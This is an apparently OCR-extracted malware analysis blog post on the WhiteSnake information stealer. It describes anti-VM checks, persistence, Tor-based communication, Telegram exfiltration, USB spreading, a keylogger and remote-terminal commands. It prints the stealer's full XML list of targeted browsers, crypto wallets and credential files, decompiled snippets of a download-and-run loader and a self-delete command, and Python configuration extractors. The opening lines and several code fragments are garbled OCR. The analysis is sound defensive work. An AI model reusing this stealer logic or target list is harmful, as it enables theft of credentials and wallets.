Me3bTE2106260295Fe70204d5£57728 £7Fa. WRITE StrReverse ("KARAF/nIRS///b4PpSYHRITEYMEWKITE! GCAEFMyNTEG: CcaE ¥ T CCAE13yBHAGRVCHE! 1ZED4PFOEBNTOARA!
Me3bTL2106260295£27020AA5£57728£7fa. WRITE StrReverse ("BUJOLMNFKMyARKWEKARLAT/mATMN CARQUY JARRRQA +mARAQRAT TBT YARAGHMKD I BRYWEKARAOSMBAAQ: U+TH oTET DGAALK .
Me3b7E2£06260295Fe7020dd5£57728 £7£a. WRITE StrReverse ("vJAARBAAL IHAT Doi UuLHCAT10y1RIL KwBgUGLHGATFqyhRJ1aARAEAKWBgUCKHGAIF3 ydRT1 aAAAEAKWBUARHGAI FayZR] GEAAR+A00G C
Me3bTL2106260295527020A05£57728£7fa. WRITE StrReverse ("vRARROLLG CcAQ1qyBHAUINCTY1CARGR oK 31BAAC! THCMOARATOBG! CCAQFL PoD: QOKARAJNCCAERHYR G CcnoFEy!
Me3b7£2£06260295£27020dd5£57728£75a . WRATE "GARAMI1AJINARAGLY 4 ECSAQEARA B Y 4 4CKa1mIC WEDCHMES /WoARAUCKH IoE: UNKGARALiL CKbYARAEAX
Me3bTE2£06260295F70204d5£57728 £7Fa. WRATE StrReverse ("SIARROSF+roENSRICARACOGCR 0 MO % CcRE! 3 11BAROACAHAZIIC: 1 F+rgEMRICAAATOQCR Q Fee
Me3bTE2106260295527020Ad5£57728£7fa. WRITE StrReverse (1 UCKEARAL4XDGARA1g: BROARKAALD/MER MR NCyHMYARATDKHWNAX SGER QOQE £ ADWCKARRH /mC E1 CAKAAAD/mARAGLMa AERUQEARXEKARRAPXBT:
Me3b7E2£06260295Ee7020dd5£57728 £7£a. WRITE StrReverse (" MCAR MEDAR; E BR. P N e T R3R0gCAAggOoAARE IKDIBASF1ypARAETKCIRDK |
Me3bTL2106260295527020Ad5£57728E7fa. WRITE StrReverse ("KARAGHG X &C HSKODK VPAARM/DIAADE oncragsvd QS VPARAR /DKARAL G 6Z5QERRWL 1CABWSRAAAQPWARE L
Me3bTE2£06a60295£27020dd5£57728£75a . WRLTE ("HE: WA/ ///B+Ta01QCNg1EJARS) QzbFE: C5UQEARRAQUNAAAGCAAGTVZCEG: C5CQEHMRA+bRCARQJSYQEGHRAARAD 1pAARMED B FMRCAAQWYZEER

The builder of WhiteSnake is built with Python. The standalone builder was built using
Pylnstaller, that includes all the necessary Python extension modules.
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Mame Date modified Type

codeop Compiled Python ...

commictrl Compiled Python ... 40 KB
configparser Compiled Python ... 45 KB
contextlib Compiled Python ... 19 KE
contextvars Compiled Python ... 1 KB
copy Compiled Python ... T KB
core Compiled Python ... 1 KB
csv Compiled Python ... 12 KB
dataclasses Compiled Python ... 23 KB
datetime Compiled Python ... 57 KB
decimal Compiled Python ...

difflib Compiled Python ...

dis Compiled Python ...

doctest Compiled Python ...

fractions Compiled Python ...

ftplib Compiled Python ...

getopt Compiled Python ...

getpass Compiled Python ...

gettext Compiled Python ...

glob Compiled Python ...

gzip Compiled Python ...

hashlib Compiled Python ...

hmac Compiled Python ...

imghdr Compiled Python ...

imp Compiled Python ... 10 KB
inspect Compiled Python ... 80 KB
ipaddress Compiled Python ... &1 KB
lzma Compiled Python ... 2 KB

mimetypes Compiled Python ... 16 KB

o
-
o
o
-
o
¢
o
o
-
o
L
-
o
¢
o
o
-
o
o
-
o
¢
o
o
-
o
L
-
o

netrc Compiled Python ... 4 KB

WhiteSnake Stealer Analysis

The WhiteSnake Stealer is written in .NET and is approximately 251KB in size (the latest
version with all features enabled) in the obfuscated version. In the obfuscated stealer binary,
the strings are RC4-encrypted, in the previous versions of the stealer, the strings obfuscation
relied on XOR instead. In the newest version, the stealer developer removed the random
callouts to legitimate websites.
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* numd)) - (double)num2;

louble)numa;

The developer also removed string obfuscation that relied on building an array of characters
and then converting the array into a string. The character for each position in the array is
created by performing various operations, such as division, addition, and subtraction, on
numeric values and lengths of strings or byte arrays.

14/47



| went ahead and used de4dot to decrypt all the strings and | also changed some of the
method and class names to make it easier to understand the stealer functionality.
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] + array[j] + num) X

array[j] =
array[num]

+ num} %
array[num3];

ray[num];

([ (array[num3] + array[num]} %

The code in the Entry Point below retrieves the location or filename of the executing
assembly using Assembly.GetExecutingAssembly().Location. If the location is
unavailable or empty, it tries to get the filename of the main module of the current process
using Process.GetCurrentProcess().MainModule.FileName. If either the location or the
filename is not empty, it assigns the value to the text variable. If there is an exception during
the process, it catches the exception and writes the error message to installUtilLog.txt file
located at % TEMP%.

ct sender, UnhandledExceptionEventArgs e)

11) ? ex2.

Next, the stealer checks if the Mutex is already present to avoid two instances of the stealer
running. The mutex value is present in the configuration of the stealer. If the mutex is
present, the stealer will exit.
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If the AntiVM is enabled, the flag to 1 is set. The stealer checks for the presence of the
sandboxes by utilizing the WMI (Windows Management Instrumentation) query:

SELECT * FROM Win32_ComputerSystem

The query retrieves the “Model” and “Manufacturer” properties. The stealer checks if any of
the properties contain the strings:

e virtual

e vmbox

e vmware

o thinapp

e VMXh

e innotek gmbh
e tpvcgateway
e tpautoconnsvc
e vbox

e kvm

e red hat

e gemu

And if one of the strings is present, the stealer exits out.

Next, the stealer checks if the execution method flag is set to 1, meaning that the resident
mode is enabled. If the mode is enabled, the stealer creates the persistence via scheduled
task on the host
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The example of the task creation cmdline:

schtasks /create /tn /sc MINUTE /tr
"C:\\Users\\username>\\AppData\\Local\\EsetSecurity\\ /rl HIGHEST /f

The folder name EsetSecurity is also obtained from the configuration of the stealer.

Moving forward, the Tor directory is created under the random name retrieved from the
configuration under %LOCALAPPDATA%. The TOR archive is then retrieved from
https://archive.torproject.org/. Tor, short for “The Onion Router,” is a free and open-source
software project that aims to provide anonymous communication on the Internet.
WhiteSnake uses TOR for communication, which makes it quite unique compared to other
stealers. Hidden services or onion services allow services to be hosted on the Tor network
without requiring traditional servers or port forwarding configurations. With Tor’s hidden
services, the connection is established within the Tor network itself, which provides
anonymity. When a hidden service is set up, it generates a unique address ending with
.onion under C:\Users<username>\AppData\Local<random_name>\host. This address
can only be accessed through the Tor network, and the connection is routed through a series
of Tor relays, making it difficult to trace the actual attacker’s server.

vebClient.
n tem

The function below is responsible for building out the torr.txt, also known as Tor configuration
file.
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Example of the Tor configuration file:

oW

(1

SOCESPort 4256

ControlPort 4257

DataDirsectory C:\Ussrs\<ussrnams>\ZAppData‘\Local\<random name>‘data
HiddenServiceDir C:\Users\<username>\&ppData‘\Local\<random name>\host
HiddenServicePort 80 127.0.0.1:4255

HiddenServiceVersion 3

SOCKSPort 4256: This field specifies the port number (6849) on which Tor should
listen for SOCKS connections. The SOCKS protocol is commonly used to establish a
proxy connection for applications to communicate through Tor.

ControlPort 4257: This field sets the port number (6850) for the Tor control port. The
control port allows external applications to interact with the Tor process.

DataDirectory C:\Users<username>\AppData\Local<random_name>\data: The
DataDirectory field specifies the directory where Tor should store its data files, such as
its state, cached data, and other runtime information.

HiddenServiceDir C:\Users<username>\AppData\Local<random_name>\host:
This directive specifies the directory where Tor should store the files related to a hidden
service. Hidden services are websites or services hosted on the Tor network, typically
with addresses ending in .onion. In this example, the hidden service files will be stored
in C:\Users<username>\AppData\Local<random_name>\host.

HiddenServicePort 80 127.0.0.1:6848: This field configures a hidden service to listen
on port 80 on the local loopback interface (127.0.0.1) and forward incoming
connections to port 6848.

HiddenServiceVersion 3: This field specifies the version of the hidden service. Please
note that the port numbers can vary on each infected machine.

The stealer then proceeds to check if the file report.lock exists within the created Tor
directory, if it does not, the stealer proceeds with loading the APIs such as
GetModuleHandleA, GetForegroundWindow, GetWindowTextLengthA, GetWindowTextA,
GetWindowThreadProcessld, and CryptUnprotectData. Then it proceeds with parsing the
stealer configuration (the data to be exfiltrated). | have beautified the configuration for a
simplified read.
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<?xml version="1.0" encoding="utf-16"?>
<Commands xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance">
<commands>
<command name="2">
<args>
<string>Mozilla\Firefox</string>
</args>
</command>
<command name="2">
<args>
<string>Thunderbird</string>
</args>
</command>
<command name="1">
<args>
<string>Google\Chrome</string>
</args>
</command>
<command name="1">
<args>
<string>Yandex\YandexBrowser</string>
</args>
</command>
<command name="1">
<args>
<string>Vivaldi</string>
</args>
</command>
<command name="1">
<args>
<string>CocCoc\Browser</string>
</args>
</command>
<command name="1">
<args>
<string>CentBrowser</string>
</args>
</command>
<command name="1">
<args>
<string>BraveSoftware\Brave-Browser</string>
</args>
</command>
<command name="1">
<args>
<string>Chromium</string>
</args>
</command>
<command name="1">
<args>
<string>Microsoft\Edge</string>
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</args>
</command>
<command name="1">
<args>
<string>Opera</string>
<string>%AppData%\Opera Software\Opera Stable</string>
</args>
</command>
<command name="1">
<args>
<string>0OperaGX</string>
<string>%AppData%\Opera Software\Opera GX Stable</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\dolphin_anty</string>
<string>db.json</string>
<string>Apps\DolphinAnty</string>
</args>
</command>
<command name="0">
<args>
<string>%USERPROFILE%\OpenVPN\config</string>
<string>*\*.ovpn</string>
<string>Grabber\OpenVPN</string>
</args>
</command>
<command name="4">
<args>
<string>SOFTWARE\Martin Prikryl\WinSCP 2\Sessions\*</string>
<string>HostName;UserName;Password</string>
<string>Apps\WinSCP\sessions.txt</string>
</args>
</command>
<command name="4">
<args>
<string>SOFTWARE\FTPWare\CoreFTP\Sites\*</string>
<string>Host;Port;User;PW</string>
<string>Apps\CoreFTP\sessions.txt</string>
</args>
</command>
<command name="4">
<args>
<string>SOFTWARE\Windscribe\Windscribe2</string>
<string>userId;authHash</string>
<string>Apps\Windscribe\token.txt</string>
</args>
</command>
<command name="0">
<args>

<string>%AppData%\Authy Desktop\Local Storagel\leveldb</string>
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<string>*</string>
<string>Grabber\Authy</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\WinAuth</string>
<string>*.xml</string>
<string>Grabber\WinAuth</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\obs-studio\basic\profiles</string>
<string>*\service.json</string>
<string>Apps\0BS</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Filezilla</string>
<string>sitemanager.xml;recentservers.xml</string>
<string>Apps\Filezilla</string>
</args>
</command>
<command name="0">
<args>
<string>%LocalAppData%\AzireVPN</string>
<string>token.txt</string>
<string>Apps\AzireVPN</string>
</args>
</command>
<command name="0">
<args>
<string>%USERPROFILE%\snowflake-ssh</string>
<string>session-store.json</string>
<string>Apps\Snowflake</string>
</args>
</command>
<command name="0">
<args>
<string>%ProgramFiles(x86)%\Steam</string>
<string>ssfn*;config\*.vdf</string>
<string>Grabber\Steam</string>
</args>
</command>
<command name="1">
<args>
<string>Discord</string>
<string>%Appdata%\Discord</string>
</args>
</command>
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<command name="0">
<args>

<string>%Appdata%\Discord\Local Storagel\leveldb</string>

<string>*.1?7?</string>
<string>Browsers\Discord\leveldb</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\The Bat!</string>
<string>ACCOUNT.???</string>
<string>Grabber\The Bat!</string>
</args>
</command>
<command name="0">
<args>
<string>%SystemDrive%</string>
<string />
<string>Apps\Outlook\credentials.txt</string>
</args>
</command>
<command name="0">
<args>
<string>%SystemDrive%</string>
<string>Account.rec0</string>
<string>Apps\Foxmail</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Signal</string>
<string>config.json;sql\db.sqlite</string>
<string>Grabber\Signal</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\.purple</string>
<string>accounts.xml</string>
<string>Apps\Pidgin</string>
</args>
</command>
<command name="5">
<args>
<string>Telegram; tdata</string>
<string>%AppData%\Telegram Desktop\tdata</string>
<string>Grabber\Telegram</string>
</args>
</command>
<command name="0">
<args>
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<string>%AppData%\ledger live</string>
<string>app.json</string>
<string>Grabber\Wallets\Ledger</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\atomic\Local Storage\leveldb</string>
<string>*.1?7?</string>
<string>Grabber\wWallets\Atomic</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\WalletWasabi\Client\Wallets</string>
<string>*.json</string>
<string>Grabber\Wallets\Wasabi</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Binance</string>
<string>*.json</string>
<string>Grabber\Wallets\Binance</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Guarda\Local Storage\leveldb</string>
<string>*.1?7?</string>
<string>Grabber\wWallets\Guarda</string>
</args>
</command>
<command name="0">
<args>
<string>%LocalAppData%\Coinomi\Coinomi</string>
<string>*.wallet</string>
<string>Grabber\Wallets\Coinomi</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Bitcoin\wallets</string>
<string>*\*wallet*</string>
<string>Grabber\Wallets\Bitcoin</string>

</args>
</command>
<command name="0">
<args>
<string>%AppData%\Electrum\wallets</string>
<string>*</string>

<string>Grabber\Wallets\Electrum</string>
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</args>

</command>
<command name="0">
<args>
<string>%AppData%\Electrum-LTC\wallets</string>
<string>*</string>
<string>Grabber\wWallets\Electrum-LTC</string>
</args>
</command>
<command name="0Q">
<args>

<string>%AppData%\Zcash</string>
<string>*wallet*dat</string>
<string>Grabber\Wallets\Zcash</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Exodus</string>
<string>exodus.conf.json;exodus.wallet\*.seco</string>
<string>Grabber\Wallets\Exodus</string>
</args>
</command>
<command name="0">
<args>

<string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string>
<string>.1??</string>
<string>Grabber\Wallets\JaxxLiberty</string>
</args>
</command>
<command name="0">
<args>
<string>%AppData%\Jaxx\Local Storage\leveldb</string>
<string>.1??</string>
<string>Grabber\Wallets\JaxxClassic</string>
</args>
</command>
<command name="3">
<args>
<string>Metamask</string>
<string>nkbihfbeogaeaoehlefnkodbefgpgknn</string>
</args>
</command>
<command name="3">
<args>
<string>Ronin</string>
<string>fnjhmkhhmkbjkkabndcnnogagogbneec</string>
</args>
</command>
<command name="3">
<args>
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<string>BinanceChain</string>
<string>fhbohimaelbohpjbbldcngcnapndodjp</string>
</args>
</command>
<command name="3">
<args>
<string>TronLink</string>
<string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string>
</args>
</command>
<command name="3">
<args>
<string>Phantom</string>
<string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string>
</args>
</command>
<command name="0">
<args>
<string>%UserProfile%\Desktop</string>
<string>*.txt;*.doc*;*.x1ls*;*.kbd*;*.pdf</string>
<string>Grabber\Desktop Files</string>
</args>
</command>
</commands>
</Commands>

The code below is responsible for parsing and retrieving information from directories and
files related to browsing history, cookies, and extensions.

<>c_ DisplayClass6 0 @, P ¢>c_ DisplayClass6 1 @)

\\" + <>c_ DisplayClass6_1_@.browserlane + "\\" + anXFH.lame));

WhiteSnake creates the WSR file that is encrypted using the RC4-encryption algorithm with
a key generated on the fly. The WSR filename is comprised of the first random 5 characters,
followed by _username’, @computername and _report, the example is shown below. The
WSR is the file containing the exfiltrated data.

hhcvT_administrator@WINDOWS-CBVFCB_report
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_fne. (OF
=[] array = TorDir
flag =

e (!flag)

f (1(flag = TorDir. (array)))

7
1

(byte[] dass)
("{e}_{1}@{2}_report.wsr",
=r(text, d48s);
(text2) && TorDir. Parsing(text2, kA6l

It is worth noting that if the attacker has RC4 + RSA encryption option set (by default), then
the RC4 key is encrypted with RSA encryption, and the RSA public key is stored in the
configuration.

sing (StringWriter stringWriter = new StringWriter(})

ymlSerializer.Serialize(stringWriter, vHWtC2);
bytes = Encoding. .GetBytes(stringWriter.ToString());

;.T}[] array? = kABD.ctOuhd(bytes);
te[] array3 te[32];

NGCryptoSer Provider().GetBytes(array3);
arrayd = uTY.RC4(array2, array3);
arrays;

ty {Configuration.RSAKeyValue

arrays = array3;

ing (RSACryptoServiceProvider rsacryptoServiceProvider = ne

rsacryptoServiceProvider. FromXmlString{Configuration.RSAKeyValue
array5 = rsacryptoServiceProvider.Encrypt(array3, true);

{Exception ex)

arrays = array3;
Mrite = (ex. )
‘I'
byte[] bytes2 = Encoding. .GetBytes("WSRS");
te[] arrayé = new byte[bytes2. + array4d. + arrays. {15
B vy (bytes2, @, array6, 8, bytes2. i H
wy (array4, @, array6, bytes2. , array4. Wi
w(arrayS, @, array6, bytes2. + array4. , Brrays.
1 arrayé;

Below is the function responsible for basic information parsing.




wHWEC
vHWEC. Parsin ] ion.jth({cOtP4);
[] array ;
nt num = &;
iis =

"Username”,
05_Enumeration.Username
array[num] iis;
t num2 =
iis =

.i'

1;

= i e =
Compname”,

05 Enumeration.

array[num2] = iis
t num3 = 2;
iis = ne

.i'

ki

array[num3] = iis
nt numd = 3;

iis =

I

26 b

05_Enumeration. ]

array[nums] =
L numb = 5;
iis =
.i'
"Screen size",

05 Enumeration.t98Bs

array[numbe] = iis
t num?7 = 63
iis = ne
.i'
"CPU",
0S Enumeration.kksd()
Ti
array[num7] = iis

TS =

The stealer appends certain fields to the basic information of the infected machine before
sending it out to Telegram Bot configured by an attacker.




The WSR log file is uploaded to one of the available servers listed in the configuration file. If
one of servers is not available and the web request fails, the stealer tries the next IP on the
list.

The attacker has two options to get the logs from Telegram.

e Download the WSR locally from one of the servers hosting the log file.

e Open directly via localhost (for example, http://127.0.0.1:18772/handleOpenWSR?
r=http://IP_Address:8080/get/CBxn1/hhcvT_administrator@WINDOWS-
CBVFCB_report.wsr). By accessing that URL the attacker will get the logs parsed
directly into the WhiteSnake report viewer panel show below on the right. We will come
back to the report viewer panel later in this blog.
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WHITE SNAKE B2 export

[ Basic information

Username
Compname

0s

Tag

1P

Screen size | 1280x1024
CPU

GPU

RAM

Disk

Model
Manufacturer

Stub version = 1.6.0.2
Execution location

Execution timestamp

Country United States (US)

City) New York
ISP

Antivirus

The snippet of Outlook parsing is shown below. The stealer retrieves Outlook information
from the registry key based on the default profile.




WhiteSnake stealer uses WMI queries for basic system information enumeration as
mentioned above. Here are some other queries that are ran by the stealer:

o SELECT * FROM Win32_Processor - the query retrieves information about the
processors (CPUs) installed on the computer.

o« SELECT * FROM Win32_VideoController - the query retrieves information about the
video controllers (graphics cards) installed on the computer

o SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3 - the query retrieves
information about logical disks (such as hard drives or SSDs) on the computer where
the DriveType equals 3. DriveType 3 corresponds to local disk drives.

o SELECT * FROM Win32_ComputerSystem - the query retrieves information about the
computer system where the TotalPhysicalMemory

The stealer retrieves the list of installed applications by querying the registry key
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

If the Loader capability is enabled, the stealer will attempt to retrieve it from the payload
hosting URL and place it under %LOCALAPPDATA%. Then UseShellExecute is used to
run the executable.
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If the USB Spread option is enabled, the stealer performs the following:

Iterate over all available drives on the system using the Drivelnfo.GetDrives() method.
For each Drivelnfo object in the collection of drives, it performs the following actions
such as checking if the drive type is “Removable” (drivelnfo.DriveType ==
DriveType.Removable), indicating a removable storage device is a USB drive, checking
if the drive is ready (drivelnfo.lsReady), meaning it is accessible and can be written to,
checking if the available free space on the drive is greater than 5242880 bytes

If the above conditions are met, it constructs a file path by combining the root directory
of the drive (drivelnfo.RootDirectory.FullName) with a file name represented by
USB_Spread.vN6.

It then checks if the stealer file exists

If the file doesn’t exist, it copies a file to the USB drive.
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=5Xz(string i

Jri uri = new Uri(i@0.StartsWith("hittp") 2 i@0 : (“http://" + 100});
ing text = Combine setFolderPat .SpecialFolder.Loca

.Exists(text))
WebClient webClient = new WebClient
wyte[] array = webClient.Dow
-WriteAllBytes(text, array);
sing (Process process = ne

process.

{

With the Local User Spread option, the stealer queries for user accounts with
Win32_UserAccount. Then it copies the stealer executable to the Startup folder of user
accounts on the local computer, excluding the current user’s Startup folder.

ObjectSearcher (selectQuery);
ntObjectSea: et

anagementBaseObject;

("%sys managementObject["Name”1));

Upon successful execution of the stealer, it deletes itself using the command

cmd.exe” /c chcp 65001 && ping 127.0.0.1 && DEL_ /F /S /Q /A “path to the stealer”

on ()

GetCurrentProcess.mMhi();

ty(text) &&
t{new ProcessStartInfo

"cmd.exe”,
tring.Format("/C chcp 65801 && ping

= ProcessWindowStyle.Hidden,




Below is the functionality of the keylogger.

Keylogger_fnc X

if (text4 == "Ca

if (numz2

The keylogger function relies on the APIs:

o SetWindowsHookExA

o GetKeyState

o CallNextHookEXx

o GetKeyboardState

e MapVirtualKeyA

¢ GetForegroundWindow

¢ GetWindowThreadProcessld
o GetKeyboardLayout

e ToUnicodeEx

Another unique feature of WhiteSnake is the remote terminal that allows an attacker to
establish the remote session with the infected machine and execute certain commands such
as:
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¢ screenshot - taking the screenshot of the infected machine

 uninstall - uninstall the beacon from the infected machine

 refresh - refresh the log credentials

e webcam - take the webcam photo

e stream - start streaming webcam or desktop

e keylogger - control the keylogger

¢ cd - change the current directory

e Is - list files in current directory

o get-file - download file from remote PC

e dpapi - decrypts the DPAPI (base64-encoded) blob

e process-list - get running processes

« transfer - upload the file to one of the IPs listed in the configuration

e loader - retrieves the file from the URL

» loadexec - retrieves and executes the file on the infected machine with cmd.exe in a
hidden window

e compress - creates a ZIP archive from a directory

o decompress - extracts ZIP content to the current directory

Remote Terminal

t

e pe.
rypt DPAPI blob

file> - Extract ZIP content to cur

The code responsible for the remote terminal functionality is shown below.
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f (text2 == "TR

localsl.response

f (num != 37493
f (num == 41
f (T
g(dy[1]);

ted data: " +

For the webcam, the stealer retrieves devices of class “Image” or “Camera” using the
Win32_PnPEntity class in the Windows Management Instrumentation (WMI) database. The
stealer attempts to capture an image from the webcam and returns the image data as a byte
array in PNG format. It uses various API functions such as capCreateCaptureWindowA,
SendMessageA, and the clipboard to perform the capture.
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Configuration Extractor

| wrote the configuration extractor for samples that are obfuscated with XOR and RC4 that
relies on dnlib.

XOR version
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#Author: RussianPanda

#Tested on samples:

# f7b02278a2310a2657dcca702188af461ce8450dcOc5bced802773ca8eab6f50
# c219beaecc91df9265574eea6e9d866c224549h7f41cdda7e85015f4ae99b7c7

import argparse
import clr

parser = argparse.ArgumentParser(description='Extract information from a target
assembly file.')

parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dl1l"')
args = parser.parse_args()

clr.AddReference(args.dnlib)

import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes

module = dnlib.DotNet.ModuleDefMD.Load(args.file)

def xor_strings(data, key):
return ''.join(chr(ord(a) N ord(b)) for a, b in zip(data, key * (len(data) //
len(key) + 1)))

def has_target_opcode_sequence(method):
target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call,
OpCodes.Stelem_Ref]

if method.HasBody:
opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
for 1 in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
if opcode_sequence[i:1 + len(target_opcode_sequence)] ==
target_opcode_sequence:
return True
return False

def process_methods():
decrypted_strings = []
check_list = []

for type in module.GetTypes():
for method in type.Methods:
if has_target_opcode_sequence(method) and method.HasBody:
instructions = list(method.Body.Instructions)
for i in range(len(instructions) - 1):
instrl = instructions[i]
instr2 = instructions[i + 1]
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if instrl.0pCode == OpCodes.Ldstr and instr2.0pCode ==
OpCodes.Ldstr:
data = instri.0Operand
key = instr2.0perand
if isinstance(data, str) and isinstance(key, str):
decrypted_string = xor_strings(data, key)
decrypted_strings.append(decrypted_string)

# Only consider ldstr instructions
if instrl1.0pCode == OpCodes.Ldstr and (instril.Operand == '1' or
instri.0Operand == '0'):
check_list.append(instril.0Operand)

return decrypted_strings, check_list

def print_stealer_configuration(decrypted_strings, xml_declaration_index):
config_cases = {
o {
"offsets": [(5, "Telgeram Bot Token"), (7, "Mutex"), (8, "Build Tag"),
(4, "Telgeram Chat ID"),
(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"),
(6, "RSAKeyValue")]
3
"RSAKeyValue": {
"offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"),
(3, "Build Version"),
(4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6,
"Mutex"), (7, "Build Tag")]
3
"else": {
"offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"),
(3, "Build Version"),
(4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6,
"RSAKeyValue"), (7, "Mutex"),
(8, "Build Tag")]

condition = "." if "." in decrypted_strings[xml_declaration_index - 1] else \
"RSAKeyValue" if "RSAKeyValue" not in decrypted_strings[xml_declaration_index
- 6] else "else"
offsets = config_cases[condition]["offsets"]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in
offsets if xml_declaration_index >= o0}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")

def print_features_status(check_list):
features = [
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(0, "Antivm"),

(1, "Resident"),

(2, "Auto Keylogger"),

(3, "USB Spread"),

(4, "Local Users Spread"),

for o, n in features:
status = 'Enabled' if check_list[o] == '1' else 'Disabled'
print(f"{n}: {status}")

def print_C2(decrypted_strings):
for data in decrypted_strings:
if "http://" in data and "127.0.0.1" not in data and "www.w3.org" not in
data:
print("C2: " + data)

def main():
decrypted_strings, check_list = process_methods()

xml_declaration = '<?xml version="1.0" encoding="utf-16"7?>"
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if
xml_declaration in s), None)

if xml_declaration_index is not None:
print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
print_stealer_configuration(decrypted_strings, xml_declaration_index)

print_features_status(check_list)
print_C2(decrypted_strings)

if __name__ == "_ _main__
main()

Output example:




RC4 version
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#Author:

import a
import c
import 1

RussianPanda

rgparse
1r

0gging

parser = argparse.ArgumentParser(description="Extract information from a target

assembly
parser.a
parser.a
args = p

clr.AddR

import d
from dnl

file.')

dd_argument('-f', '--file',
dd_argument('-d', '--dnlib',

arser.parse_args()
eference(args.dnlib)

nlib
ib.DotNet import *

required=True,
required=True,

from dnlib.DotNet.Emit import OpCodes

module =

dnlib.DotNet.ModuleDefMD.Load(args.file)

help='Path to the stealer file')
help='Path to the dnlib.dl1l"')

logging.basicConfig(filename="app.log', filemode='w', format='%(name)s - %

(levelna

me)s - %(message)s')

def Ichduzekkvzjdxyftabcqu(A_0, A_1):

try:

2561)

exce

string_builder = []

num = 0

array = list(range(256))

for i in range(256):
array[i] = 1

for j in range(256):

num = ((ord(A_1[j % len(A_1)]) + array[j] + num) % 256)

num2 = array[j]
array[j] = array[num]
array[num] = num2

for k in range(len(A_0)):
num3 = k % 256

num = (array[num3] + num) % 256

num2 = array[num3]

array[num3] = array[num]

array[num] = num2

decrypted_char = chr(ord(A_0[k]) »A array[(array[num3] + array[num]) %

string_builder.append(decrypted_char)

return ''.join(string_builder)

pt Exception as e:

logging.error("Error occurred in Ichduzekkvzjdxyftabcqu: " + str(e))

return None
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def has_target_opcode_sequence(method):
target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call,
OpCodes.Stelem_Ref]

if method.HasBody:
# Get the sequence of OpCodes in the method
opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]

# Check if the target sequence is present in the opcode sequence
for 1 in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
if opcode_sequence[i:i+len(target_opcode_sequence)] ==
target_opcode_sequence:
return True

return False

ldstr_counter = 0
decrypted_strings = []

for type in module.GetTypes():
for method in type.Methods:
if method.HasBody and has_target_opcode_sequence(method):
instructions = list(method.Body.Instructions)
for i, instr in enumerate(instructions):
# 0Only consider ldstr instructions
if instr.OpCode == OpCodes.Ldstr:
ldstr_counter += 1
if ldstr_counter > 21:
if instr.Operand == '1' or instr.Operand == '0':
decrypted_strings.append(instr.Operand)
elif i + 1 < len(instructions):

encrypted_data = instr.Operand

rc4_key = instructions[i + 1].0Operand

if isinstance(encrypted_data, str) and
isinstance(rc4_key, str):

decrypted_data =
Ichduzekkvzjdxyftabcqu(encrypted_data, rc4_key)
if decrypted_data:
decrypted_strings.append(decrypted_data)

xml_declaration = '<?xml version="1.0" encoding="utf-16"?>"'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if
xml_declaration in s), None)

if xml_declaration_index is not None:
print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
offsets = [(11, "RSAKeyValue"), (12, "Mutex"), (13, "Build Tag")]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in
offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")

43/47



offsets = [
(10, "Telgeram Bot Token"),
(9, "Telgeram Chat ID"),
(1, "Stealer Tor Folder Name"),
(2, "Stealer Folder Name"),
(3, "Stealer Version"),

features = [
(4, "Local Users Spread"),
(5, "USB Spread"),
(6, "Auto Keylogger"),
(7, "Execution Method"),
(8, "Antivm"),

1

config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in
offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")

config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in
features if xml_declaration_index >= o}
for o, n in features:
status = 'Enabled' if config_data.get(o, '0') == '1' else 'Not Enabled'
print(f"{n}: {status}")

for data in decrypted_strings:

if "http://" in data and "127.0.0.1" not in data and "www.w3.org" not in data:

print("C2: " + data)

| am not providing the hashes for the newest version to keep the anonymity and to avoid

stealer developer hunting me down. You can access both of the configuration extractors on

my GitHub page

Summary

Personally, | think, WhiteSnake Stealer is undoubtedly one of the leading stealers available,
offering numerous features and ensuring secure log delivery and communication. Probably
one of my favorite stealers that | have ever analyzed so far. As always, your feedback is very

welcome :)

Indicators Of Compromise

Name Indicators

C2 172.104.152.202:8080
